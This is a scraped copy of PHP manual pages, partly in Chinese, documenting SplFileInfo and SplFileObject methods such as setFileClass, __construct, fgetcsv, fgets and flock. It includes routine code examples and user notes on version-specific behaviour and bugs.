  • stream_context_create() - 创建资源流上下文
  • fopen() - 打开文件或者 URL

User Contributed Notes

There are no user contributed notes for this page.


Sets the class used with SplFileInfo::openFile

  • ? SplFileInfo::openFile
  • SplFileInfo::setInfoClass ?
  • PHP Manual
  • SplFileInfo
  • Sets the class used with SplFileInfo::openFile

SplFileInfo::setFileClass

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::setFileClass — Sets the class used with SplFileInfo::openFile()

说明

public SplFileInfo::setFileClass(string $class = SplFileObject::class): void

Use this method to set a custom class which will be used when SplFileInfo::openFile() is called. The class name passed to this method must be SplFileObject or a class derived from SplFileObject.

参数

class

The class name to use when SplFileInfo::openFile() is called.

返回值

没有返回值。

示例

Example #1 SplFileInfo::setFileClass() example

<?php
// Create a class extending SplFileObject
class MyFoo extends SplFileObject {}

$info = new SplFileInfo(__FILE__);
// Set the class to use
$info->setFileClass('MyFoo');
var_dump($info->openFile());
?>

以上示例的输出类似于：

object(MyFoo)#2 (0) { }

参见

  • SplFileInfo::openFile() - Gets an SplFileObject object for the file

User Contributed Notes

There are no user contributed notes for this page.


Sets the class used with SplFileInfo::getFileInfo and SplFileInfo::getPathInfo

  • ? SplFileInfo::setFileClass
  • SplFileInfo::__toString ?
  • PHP Manual
  • SplFileInfo
  • Sets the class used with SplFileInfo::getFileInfo and SplFileInfo::getPathInfo

SplFileInfo::setInfoClass

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::setInfoClass — Sets the class used with SplFileInfo::getFileInfo() and SplFileInfo::getPathInfo()

说明

public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void

Use this method to set a custom class which will be used when SplFileInfo::getFileInfo() and SplFileInfo::getPathInfo() are called. The class name passed to this method must be SplFileInfo or a class derived from SplFileInfo.

参数

class

The class name to use when SplFileInfo::getFileInfo() and SplFileInfo::getPathInfo() are called.

返回值

没有返回值。

示例

Example #1 SplFileInfo::setFileClass() example

<?php
// Define a class which extends SplFileInfo
class MyFoo extends SplFileInfo {}

$info = new SplFileInfo('foo');
// Set the class name to use
$info->setInfoClass('MyFoo');
var_dump($info->getFileInfo());
?>

以上示例的输出类似于：

object(MyFoo)#2 (0) { }

参见

  • SplFileInfo::getFileInfo() - Gets an SplFileInfo object for the file

User Contributed Notes

Eugene Kunkel 05-Nov-2019 03:21
Be careful when using this method, as the functionality isn't exactly the same as instantiating the extending class directly. This can really trip you up if you're using type hints or instanceof checks.

<?php

class CustomFileInfo extends SplFileInfo
{
    public function getExtension()
    {
        $ext = strtolower(parent::getExtension());

        return 'jpeg' === $ext ? 'jpg' : $ext;
    }
}

$path = __DIR__ . '/foobar.jpeg';

$good = new CustomFileInfo($path);

echo "<pre>";
var_dump($good instanceof SplFileInfo);
var_dump($good instanceof CustomFileInfo);

$bad = new SplFileInfo($path);
$bad->setInfoClass('CustomFileInfo');

var_dump($bad instanceof SplFileInfo);
var_dump($bad instanceof CustomFileInfo);
echo "</pre>";

?>

Outputs:

bool(true)
bool(true)
bool(true)
bool(false)


Returns the path to the file as a string

  • ? SplFileInfo::setInfoClass
  • SplFileObject ?
  • PHP Manual
  • SplFileInfo
  • Returns the path to the file as a string

SplFileInfo::__toString

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

SplFileInfo::__toString — Returns the path to the file as a string

说明

public SplFileInfo::__toString(): string

This method will return the file name of the referenced file.

参数

此函数没有参数。

返回值

Returns the path to the file.

示例

Example #1 SplFileInfo::__toString() example

<?php
$info = new SplFileInfo('foo');
var_dump($info->__toString());
echo $info.PHP_EOL;

$info = new SplFileInfo('/usr/bin/php');
var_dump($info->__toString());
echo $info.PHP_EOL;
?>

以上示例的输出类似于：

string(3) "foo"
foo
string(12) "/usr/bin/php"
/usr/bin/php

User Contributed Notes

alvaro at demogracia dot com 19-Jan-2016 10:57
It returns the exact $file_name string provided in the constructor, without further processing, normalisation or verification.


SplFileObject 类

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

简介

SplFileObject 类为文件提供了一个面向对象接口。

类摘要

class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

预定义常量

SplFileObject::DROP_NEW_LINE

删除行尾的换行符。

SplFileObject::READ_AHEAD

使用 rewind 或 next 方法时，从文件中读取一行数据。

SplFileObject::SKIP_EMPTY

跳过文件中的空白行。这需要启用 READ_AHEAD 标志，以达到预期的效果。

SplFileObject::READ_CSV

以 CSV 行的形式读取。

Table of Contents

  • SplFileObject::__construct — Construct a new file object
  • SplFileObject::current — Retrieve current line of file
  • SplFileObject::eof — Reached end of file
  • SplFileObject::fflush — Flushes the output to the file
  • SplFileObject::fgetc — Gets character from file
  • SplFileObject::fgetcsv — Gets line from file and parse as CSV fields
  • SplFileObject::fgets — Gets line from file
  • SplFileObject::fgetss — Gets line from file and strip HTML tags
  • SplFileObject::flock — Portable file locking
  • SplFileObject::fpassthru — Output all remaining data on a file pointer
  • SplFileObject::fputcsv — Write a field array as a CSV line
  • SplFileObject::fread — Read from file
  • SplFileObject::fscanf — Parses input from file according to a format
  • SplFileObject::fseek — Seek to a position
  • SplFileObject::fstat — Gets information about the file
  • SplFileObject::ftell — Return current file position
  • SplFileObject::ftruncate — Truncates the file to a given length
  • SplFileObject::fwrite — Write to file
  • SplFileObject::getChildren — No purpose
  • SplFileObject::getCsvControl — Get the delimiter, enclosure and escape character for CSV
  • SplFileObject::getCurrentLine — 别名 SplFileObject::fgets
  • SplFileObject::getFlags — Gets flags for the SplFileObject
  • SplFileObject::getMaxLineLen — Get maximum line length
  • SplFileObject::hasChildren — SplFileObject does not have children
  • SplFileObject::key — Get line number
  • SplFileObject::next — Read next line
  • SplFileObject::rewind — Rewind the file to the first line
  • SplFileObject::seek — Seek to specified line
  • SplFileObject::setCsvControl — Set the delimiter, enclosure and escape character for CSV
  • SplFileObject::setFlags — Sets flags for the SplFileObject
  • SplFileObject::setMaxLineLen — Set maximum line length
  • SplFileObject::__toString — Returns the current line as a string
  • SplFileObject::valid — Not at EOF

User Contributed Notes

rlazarotto15+dont+spam+me at gmail dot com 04-Feb-2021 06:00
Complimenting marcus at synchromedia dot co dot uk comment, you can also do something like this:

<?php

// create a SplFileObject for reading - note that there are no flags
$file = new SplFileObject('/path/to/file', 'r');

// iterate over its contents
while (!$file->eof()) {
    // get the current line
    $line  =  $file->fgets();

    // trim it, and then check if its empty
    if (empty(trim($line))) {
        // skips the current iteration
        continue;
    }
}

While this may seem like a overkill for such thing, it allows you to do some processing with the empty lines that might come (I had to do this mostly because I needed to count empty lines instead of just skipping them). Since it also trims the line before checking if it's empty, you won't get lines composed only of empty spaces (I don't know if the flags also make it trim the content before checking it).
marcus at synchromedia dot co dot uk 16-Aug-2014 08:35
If you want to skip blank lines when reading a CSV file, you need *all * the flags:

$file->setFlags(SplFileObject::READ_CSV | SplFileObject::READ_AHEAD | SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE);
Lars Gyrup Brink Nielsen 05-Sep-2013 01:46
Note that this class has a private (and thus, not documented) property that holds the file pointer. Combine this with the fact that there is no method to close the file handle, and you get into situations where you are not able to delete the file with unlink(), etc., because an SplFileObject still has a handle open.

To get around this issue, delete the SplFileObject like this:

---------------------------------------------------------------------
<?php
print "Declaring file object\n";
$file = new SplFileObject('example.txt');

print "Trying to delete file...\n";
unlink('example.txt');

print "Closing file object\n";
$file = null;

print "Deleting file...\n";
unlink('example.txt');

print 'File deleted!';
?>
---------------------------------------------------------------------

which will output:

---------------------------------------------------------------------
Declaring file object
Trying to delete file...

Warning: unlink(example.txt): Permission denied in file.php on line 6
Closing file object
Deleting file...
File deleted!
---------------------------------------------------------------------


Construct a new file object

  • ? SplFileObject
  • SplFileObject::current ?
  • PHP Manual
  • SplFileObject
  • Construct a new file object

SplFileObject::__construct

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::__construct — Construct a new file object

说明

public SplFileObject::__construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)

Construct a new file object.

参数

filename

The file to read.

Tip

如已启用fopen 包装器，在此函数中， URL 可作为文件名。关于如何指定文件名详见 fopen()。各种 wapper 的不同功能请参见 支持的协议和封装协议，注意其用法及其可提供的预定义变量。

mode

The mode in which to open the file. See fopen() for a list of allowed modes.

useIncludePath

Whether to search in the include_path for filename.

context

A valid context resource created with stream_context_create().

错误／异常

Throws a RuntimeException if the filename cannot be opened.

Throws a LogicException if the filename is a directory.

示例

Example #1 SplFileObject::__construct() example

This example opens the current file and iterates over its contents line by line.

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $line_num => $line) {
echo "Line $line_num is $line";
}
?>

以上示例的输出类似于：

Line 0 is <?php
Line 1 is $file = new SplFileObject(__FILE__);
Line 2 is foreach ($file as $line_num => $line) {
Line 3 is     echo "Line $line_num is $line";
Line 4 is }
Line 5 is ?>

参见

  • SplFileInfo::openFile() - Gets an SplFileObject object for the file
  • fopen() - 打开文件或者 URL

User Contributed Notes

KEINOS at blog.keinos.com 22-May-2017 04:24
When using URL as a filename, such as "http://..." or "php://stdin", and also have the fopen wappers on, and you get a 'RuntimeException' error, try using "NoRewindIterator" class to a SplFileObject instance.

<?php
$url = 'http://sample.com/data.csv';
$file = new NoRewindIterator( new SplFileObject( $url ) );
foreach ($file as $line_num => $line) {
    echo "Line $line_num is $line";
}
?>

While opening a file, a rewind method will be called, but these URL iterators cannot be rewind, so you'll get a "Fatal error: Uncaught exception 'RuntimeException' with message 'Cannot rewind file ...'" error.
majna 20-Aug-2014 10:09
(PHP >= 5.3) If filename is a directory, a LogicException will be thrown: "Cannot use SplFileObject with directories"


Retrieve current line of file

  • ? SplFileObject::__construct
  • SplFileObject::eof ?
  • PHP Manual
  • SplFileObject
  • Retrieve current line of file

SplFileObject::current

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::current — Retrieve current line of file

说明

public SplFileObject::current(): string|array|false

Retrieves the current line of the file.

参数

此函数没有参数。

返回值

Retrieves the current line of the file. If the SplFileObject::READ_CSV flag is set, this method returns an array containing the current line parsed as CSV data. If the end of the file is reached, false is returned.

示例

Example #1 SplFileObject::current() example

<?php
$file = new SplFileObject(__FILE__);
foreach ($file as $k => $line) {
echo ($file->key() + 1) . ': ' . $file->current();
}
?>

以上示例的输出类似于：

1: <?php
2: $file = new SplFileObject(__FILE__);
3: foreach ($file as $line) {
4:     echo ($file->key() + 1) . ': ' . $file->current();
5: }
6: ?>

参见

  • SplFileObject::key() - Get line number
  • SplFileObject::seek() - Seek to specified line
  • SplFileObject::next() - Read next line
  • SplFileObject::rewind() - Rewind the file to the first line
  • SplFileObject::valid() - Not at EOF

User Contributed Notes

There are no user contributed notes for this page.


Reached end of file

  • ? SplFileObject::current
  • SplFileObject::fflush ?
  • PHP Manual
  • SplFileObject
  • Reached end of file

SplFileObject::eof

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::eof — Reached end of file

说明

public SplFileObject::eof(): bool

Determine whether the end of file has been reached

参数

此函数没有参数。

返回值

Returns true if file is at EOF, false otherwise.

示例

Example #1 SplFileObject::eof() example

<?php
$file = new SplFileObject("fruits.txt");
while ( ! $file->eof()) {
echo $file->fgets();
}
?>

以上示例的输出类似于：

apple
banana
cherry
date
elderberry

参见

  • SplFileObject::valid() - Not at EOF
  • feof() - 测试文件指针是否到了文件结束的位置

User Contributed Notes

There are no user contributed notes for this page.


Flushes the output to the file

  • ? SplFileObject::eof
  • SplFileObject::fgetc ?
  • PHP Manual
  • SplFileObject
  • Flushes the output to the file

SplFileObject::fflush

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fflush — Flushes the output to the file

说明

public SplFileObject::fflush(): bool

Forces a write of all buffered output to the file.

参数

此函数没有参数。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SplFileObject::fflush() example

<?php
$file = new SplFileObject('misc.txt', 'r+');
$file->rewind();
$file->fwrite("Foo");
$file->fflush();
$file->ftruncate($file->ftell());
?>

参见

  • SplFileObject::fwrite() - Write to file

User Contributed Notes

There are no user contributed notes for this page.


Gets character from file

  • ? SplFileObject::fflush
  • SplFileObject::fgetcsv ?
  • PHP Manual
  • SplFileObject
  • Gets character from file

SplFileObject::fgetc

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fgetc — Gets character from file

说明

public SplFileObject::fgetc(): string|false

Gets a character from the file.

参数

此函数没有参数。

返回值

Returns a string containing a single character read from the file or false on EOF.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

示例

Example #1 SplFileObject::fgetc() example

<?php
$file = new SplFileObject('file.txt');
while (false !== ($char = $file->fgetc())) {
echo "$char\n";
}
?>

参见

  • SplFileObject::fgets() - Gets line from file

User Contributed Notes

There are no user contributed notes for this page.


Gets line from file and parse as CSV fields

  • ? SplFileObject::fgetc
  • SplFileObject::fgets ?
  • PHP Manual
  • SplFileObject
  • Gets line from file and parse as CSV fields

SplFileObject::fgetcsv

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fgetcsv — Gets line from file and parse as CSV fields

说明

public SplFileObject::fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false

Gets a line from the file which is in CSV format and returns an array containing the fields read.

Note:

The locale settings are taken into account by this function. If LC_CTYPE is e.g. en_US.UTF-8, files in one-byte encodings may be read wrongly by this function.

参数

separator

The field delimiter (one single-byte character only). Defaults as a comma or the value set using SplFileObject::setCsvControl().

enclosure

The field enclosure character (one single-byte character only). Defaults as a double quotation mark or the value set using SplFileObject::setCsvControl().

escape

The escape character (at most one single-byte character). Defaults as a backslash (\) or the value set using SplFileObject::setCsvControl(). An empty string ("") disables the proprietary escape mechanism.

Note: Usually an enclosure character is escaped inside a field by doubling it; however, the escape character can be used as an alternative. So for the default parameter values "" and \" have the same meaning. Other than allowing to escape the enclosure character the escape character has no special meaning; it isn't even meant to escape itself.

返回值

Returns an indexed array containing the fields read, or false on error.

Note:

A blank line in a CSV file will be returned as an array comprising a single null field unless using SplFileObject::SKIP_EMPTY | SplFileObject::DROP_NEW_LINE, in which case empty lines are skipped.

更新日志

版本 | 说明
7.4.0 | The escape parameter now also accepts an empty string to disable the proprietary escape mechanism.

示例

Example #1 SplFileObject::fgetcsv() example

<?php
$file = new SplFileObject("data.csv");
while (!$file->eof()) {
var_dump($file->fgetcsv());
}
?>

Example #2 SplFileObject::READ_CSV example

<?php
$file = new SplFileObject("animals.csv");
$file->setFlags(SplFileObject::READ_CSV);
foreach ($file as $row) {
list($animal, $class, $legs) = $row;
printf("A %s is a %s with %d legs\n", $animal, $class, $legs);
}
?>

Contents of animals.csv

crocodile,reptile,4
dolphin,mammal,0
duck,bird,2
koala,mammal,4
salmon,fish,0

以上示例的输出类似于：

A crocodile is a reptile with 4 legs
A dolphin is a mammal with 0 legs
A duck is a bird with 2 legs
A koala is a mammal with 4 legs
A salmon is a fish with 0 legs

参见

  • SplFileObject::setCsvControl() - Set the delimiter, enclosure and escape character for CSV
  • SplFileObject::setFlags() - Sets flags for the SplFileObject
  • SplFileObject::READ_CSV
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

InvisibleSmiley 28-Oct-2021 01:14
Not that this may return NULL instead of FALSE depending on the given SplFileObject flags in versions prior to PHP 8.1.

Change: https://github.com/php/php-src/commit/188b1d4c7c7b3482584e248522d94e06ba616a1c

Testcase: https://3v4l.org/6dQTT
jbrauer 17-Feb-2020 04:28
Also while the enclosure character cannot be NULL you can set it to ASCII NUL character chr(0) with the same practical effect.
android991 at gmail dot com 18-Feb-2019 11:31
Be aware.
There is bug 46569 persists that breaks usage of SplFileObject::fgetcsv() after SplFileObject::seek()-ing to a non-zero position and then returns the contents of wrong line - off by one
<?php
$file = new SplFileObject('foo/bar.csv');
$file->seek(1);
print_r($file->fgetcsv()); // reads 3rd line against 2nd
Denitz 27-Sep-2018 12:45
If your CSV doesn't have enclosures, you can face an issue with default " identified as enclosure in data. Empty $enclosure is not allowed, but you can use same $enclosure as $delimiter (\n by default) to emulate empty enclosure.
vaughn dot clayton+php at servicetrade dot com 14-Nov-2012 02:15
Note that due to bugs 55807 and 61032, introduced in 5.3.8, if the csv in example #2 has a newline character at the end of each line, the foreach will execute 6 times.

The last time through the loop $row will be bool(false). This is true even if using SplFileObject::SKIP_EMPTY and SplFileObject::DROP_NEW_LINE.

Until the bug is fixed, the workaround is to also add SplFileObject::READ_AHEAD to your setFlags() call.
v-fpiris at teknober dot com 21-May-2011 07:56
after setting the delimiter '\t' fgetcsv() truncates the value when it is empty string

workaround:

<?php
$file = new SplFileObject($path);
$file->setFlags(SplFileObject::DROP_NEW_LINE);
while ($file->valid()) {
    $line = $file->fgets();
    $line = explode("\t", $line);

    print_r($line);
}
?>


Gets line from file

  • ? SplFileObject::fgetcsv
  • SplFileObject::fgetss ?
  • PHP Manual
  • SplFileObject
  • Gets line from file

SplFileObject::fgets

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fgets — Gets line from file

说明

public SplFileObject::fgets(): string

Gets a line from the file.

参数

此函数没有参数。

返回值

Returns a string containing the next line from the file.

错误／异常

Throws a RuntimeException if the file cannot be read.

示例

Example #1 SplFileObject::fgets() example

This example simply outputs the contents of file.txt line-by-line.

<?php
$file = new SplFileObject("file.txt");
while (!$file->eof()) {
echo $file->fgets();
}
?>

参见

  • fgets() - 从文件指针中读取一行
  • SplFileObject::fgetss() - Gets line from file and strip HTML tags
  • SplFileObject::fgetc() - Gets character from file
  • SplFileObject::current() - Retrieve current line of file

User Contributed Notes

Lucas Bustamante 22-Oct-2021 11:34
I forgot to mention in my previous note about PHP PHP 8.0.10, that you can use $file->current(); $file->next(); as a replacement for $file->fgets(); that works consistently from PHP 5.1 to 8.0.1+ after a seek():

<?php

$file = new SplTempFileObject();

for ($i = 0; $i < 100; $i++) {
    $file->fwrite("Foo $i\n");
}

$file->seek(50);

print_r(array(
    array('line' => $file->key(), 'contents' => trim($file->current()), 'triggerNext' => $file->next()),
    array('line' => $file->key(), 'contents' => trim($file->current()), 'triggerNext' => $file->next()),
    array('line' => $file->key(), 'contents' => trim($file->current()), 'triggerNext' => $file->next()),
));

?>

PHP 5.1 to 8.0.1+:

[
    {
        "line": 50,
        "contents": "Foo 50"
    },
    {
        "line": 51,
        "contents": "Foo 51"
    },
    {
        "line": 52,
        "contents": "Foo 52"
    }
]
Lucas Bustamante 22-Oct-2021 11:19
Notice that the behavior of fgets after a seek changed on PHP 8.0.10, if you seek to line 50 and run fgets, it will give you line 50, while on PHP 5.1~8.0.0 it would give you line 51:

<?php

$file = new SplTempFileObject();

for ($i = 0; $i < 100; $i++) {
    $file->fwrite("Foo $i\n");
}

$file->seek(50);

echo json_encode(array(
    array('line' => $file->key(), 'contents' => trim($file->fgets())),
    array('line' => $file->key(), 'contents' => trim($file->fgets())),
    array('line' => $file->key(), 'contents' => trim($file->fgets())),
), JSON_PRETTY_PRINT);

?>

Results:

PHP  8.0.1+
[
    {
        "line": 50,
        "contents": "Foo 50"
    },
    {
        "line": 50,
        "contents": "Foo 51"
    },
    {
        "line": 51,
        "contents": "Foo 52"
    }
]

PHP 5.1 to 8.0.0
[
    {
        "line": 50,
        "contents": "Foo 51"
    },
    {
        "line": 51,
        "contents": "Foo 52"
    },
    {
        "line": 52,
        "contents": "Foo 53"
    }
]
Chris Johnson 22-Jan-2018 09:45
Note that this method will cause a PHP fatal error if the file being read contains no recognizable line termination characters and is larger than the allowable memory size for PHP to allocate, i.e. memory_limit set in php.ini or similar.  In other words, PHP keeps reading until it finds a line termination, if it runs out of memory first, it will throw a fatal error.

This is different from the file resource fread() function, which allows an optional maximum length argument to be passed to limit this behavior.


Gets line from file and strip HTML tags

  • ? SplFileObject::fgets
  • SplFileObject::flock ?
  • PHP Manual
  • SplFileObject
  • Gets line from file and strip HTML tags

SplFileObject::fgetss

(PHP 5 >= 5.1.0, PHP 7)

SplFileObject::fgetss — Gets line from file and strip HTML tags

Warning

本函数已自 PHP 7.3.0 起弃用，自 PHP 8.0.0 起移除。强烈建议不要依赖本函数。

说明

public SplFileObject::fgetss(string $allowable_tags = ?): string

Identical to SplFileObject::fgets(), except that SplFileObject::fgetss() attempts to strip any HTML and PHP tags from the text it reads. The function retains the parsing state from call to call, and as such is not equivalent to calling strip_tags() on the return value of SplFileObject::fgets().

参数

allowable_tags

Optional parameter to specify tags which should not be stripped.

返回值

Returns a string containing the next line of the file with HTML and PHP code stripped, or false on error.

示例

Example #1 SplFileObject::fgetss() example

<?php
$str = <<<EOD
<html><body>
<p>Welcome! Today is the <?php echo(date('jS')); ?> of <?= date('F'); ?>.</p>
</body></html>
Text outside of the HTML block.
EOD;
file_put_contents("sample.php", $str);

$file = new SplFileObject("sample.php");
while (!$file->eof()) {
echo $file->fgetss();
}
?>

以上示例的输出类似于：

 Welcome! Today is the  of .

Text outside of the HTML block.

参见

  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • SplFileObject::fgets() - Gets line from file
  • SplFileObject::fgetc() - Gets character from file
  • SplFileObject::current() - Retrieve current line of file
  • The string.strip_tags filter

User Contributed Notes

There are no user contributed notes for this page.


Portable file locking

  • ? SplFileObject::fgetss
  • SplFileObject::fpassthru ?
  • PHP Manual
  • SplFileObject
  • Portable file locking

SplFileObject::flock

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::flock — Portable file locking

说明

public SplFileObject::flock(int $operation, int &$wouldBlock = null): bool

Locks or unlocks the file in the same portable way as flock().

参数

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).

It is also possible to add LOCK_NB as a bitmask to one of the above operations, if flock() should not block during the locking attempt.

wouldBlock

Set to true if the lock would block (EWOULDBLOCK errno condition).

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 SplFileObject::flock() example

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
if ($file->flock(LOCK_EX)) { // do an exclusive lock
$file->ftruncate(0); // truncate file
$file->fwrite("Write something here\n");
$file->flock(LOCK_UN); // release the lock
} else {
echo "Couldn't get the lock!";
}
?>

参见

  • flock() - 可移植的协同文件锁定

User Contributed Notes

Ahmed Rain 11-Aug-2022 10:25
@digitalprecision What you said is not completely true, ftruncate(0); is needed if there was a write to the file before the lock is acquired. You also may need fseek(0); to move back the file pointer to the beginning of the file

<?php
$file = new SplFileObject("/tmp/lock.txt", "w");
$file->fwrite("xxxxx"); // write something before the lock is acquired
sleep(5); // wait for 5 seconds

if ($file->flock(LOCK_EX)) { // do an exclusive lock
    $file->fwrite("Write something here\n");
    $file->flock(LOCK_UN);   // release the lock
} else {
    echo "Couldn't get the lock!";
}
?>

"lock.txt" content:

xxxxxWrite something here
digitalprecision at gmail dot com 24-Dec-2010 02:48
For the record, the example given here has an explicit command to truncate the file, however with a 'write mode' of 'w', it will do this for you automatically, so the truncate call is not needed.


Output all remaining data on a file pointer

  • ? SplFileObject::flock
  • SplFileObject::fputcsv ?
  • PHP Manual
  • SplFileObject
  • Output all remaining data on a file pointer

SplFileObject::fpassthru

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fpassthru — Output all remaining data on a file pointer

说明

public SplFileObject::fpassthru(): int

Reads to EOF on the given file pointer from the current position and writes the results to the output buffer.

You may need to call SplFileObject::rewind() to reset the file pointer to the beginning of the file if you have already written data to the file.

参数

此函数没有参数。

返回值

Returns the number of characters read from handle and passed through to the output.

示例

Example #1 SplFileObject::fpassthru() example

<?php

// Open the file in binary mode
$file = new SplFileObject("./img/ok.png", "rb");

// Send the right headers
header("Content-Type: image/png");
header("Content-Length: " . $file->getSize());

// Dump the picture and end script
$file->fpassthru();
exit;

?>

参见

  • fpassthru() - 输出文件指针处的所有剩余数据

User Contributed Notes

There are no user contributed notes for this page.


Write a field array as a CSV line

  • ? SplFileObject::fpassthru
  • SplFileObject::fread ?
  • PHP Manual
  • SplFileObject
  • Write a field array as a CSV line

SplFileObject::fputcsv

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

SplFileObject::fputcsv — Write a field array as a CSV line

说明

public SplFileObject::fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false

Writes the fields array to the file as a CSV line.

参数

fields

An array of values.

separator

The optional separator parameter sets the field delimiter (one single-byte character only).

enclosure

The optional enclosure parameter sets the field enclosure (one single-byte character only).

escape

The optional escape parameter sets the escape character (at most one single-byte character). An empty string ("") disables the proprietary escape mechanism.

eol

The optional eol parameter sets a custom End of Line sequence.

Note:

If an enclosure character is contained in a field, it will be escaped by doubling it, unless it is immediately preceded by an escape.

返回值

Returns the length of the written string 或者在失败时返回 false.

Returns false, and does not write the CSV line to the file, if the separator or enclosure parameter is not a single character.

错误／异常

An E_WARNING level error is issued if the separator or enclosure parameter is not a single character.

更新日志

版本 | 说明
8.1.0 | The optional eol parameter has been added.
7.4.0 | The escape parameter now also accepts an empty string to disable the proprietary escape mechanism.

示例

Example #1 SplFileObject::fputcsv() example

<?php

$list = array (
array('aaa', 'bbb', 'ccc', 'dddd'),
array('123', '456', '789'),
array('"aaa"', '"bbb"')
);

$file = new SplFileObject('file.csv', 'w');

foreach ($list as $fields) {
$file->fputcsv($fields);
}

?>

The above example will write the following to file.csv:

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

参见

  • fputcsv() - 将行格式化为 CSV 并写入文件指针
  • SplFileObject::fgetcsv() - Gets line from file and parse as CSV fields

User Contributed Notes

sergiy dot sokolenko at gmail dot com 25-Jan-2012 01:17
This method is available in PHP 5.4 and it is just a wrapper over php.net/fputcsv.


Read from file

  • ? SplFileObject::fputcsv
  • SplFileObject::fscanf ?
  • PHP Manual
  • SplFileObject
  • Read from file

SplFileObject::fread

(PHP 5 >= 5.5.11, PHP 7, PHP 8)

SplFileObject::fread — Read from file

说明

public SplFileObject::fread(int $length): string|false

Reads the given number of bytes from the file.

参数

length

The number of bytes to read.

返回值

Returns the string read from the file 或者在失败时返回 false.

示例

Example #1 SplFileObject::fread() example

<?php
// Get contents of a file into a string
$filename = "/usr/local/something.txt";
$file = new SplFileObject($filename, "r");
$contents = $file->fread($file->getSize());
?>

注释

Note:

Note that SplFileObject::fread() reads from the current position of the file pointer. Use SplFileObject::ftell() to find the current position of the pointer and SplFileObject::rewind() (or SplFileObject::fseek()) to rewind the pointer position.

参见

  • fread() - 读取文件（可安全用于二进制文件）

User Contributed Notes

There are no user contributed notes for this page.


Parses input from file according to a format

  • ? SplFileObject::fread
  • SplFileObject::fseek ?
  • PHP Manual
  • SplFileObject
  • Parses input from file according to a format

SplFileObject::fscanf

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

SplFileObject::fscanf — Parses input from file according to a format

说明

public SplFileObject::fscanf(string $format, mixed &...$vars): array|int|null

Reads a line from the file and interprets it according to the specified format.

Any whitespace in the format string matches any whitespace in the line from the file. This means that even a tab (\t) in the format string can match a single space character in the input stream.

参数

format

string 的格式解释，在 sprintf() 的文档中进行了描述，但有以下区别：

  • 函数不支持区域设置。
  • 不支持 F、g、G 和 b。
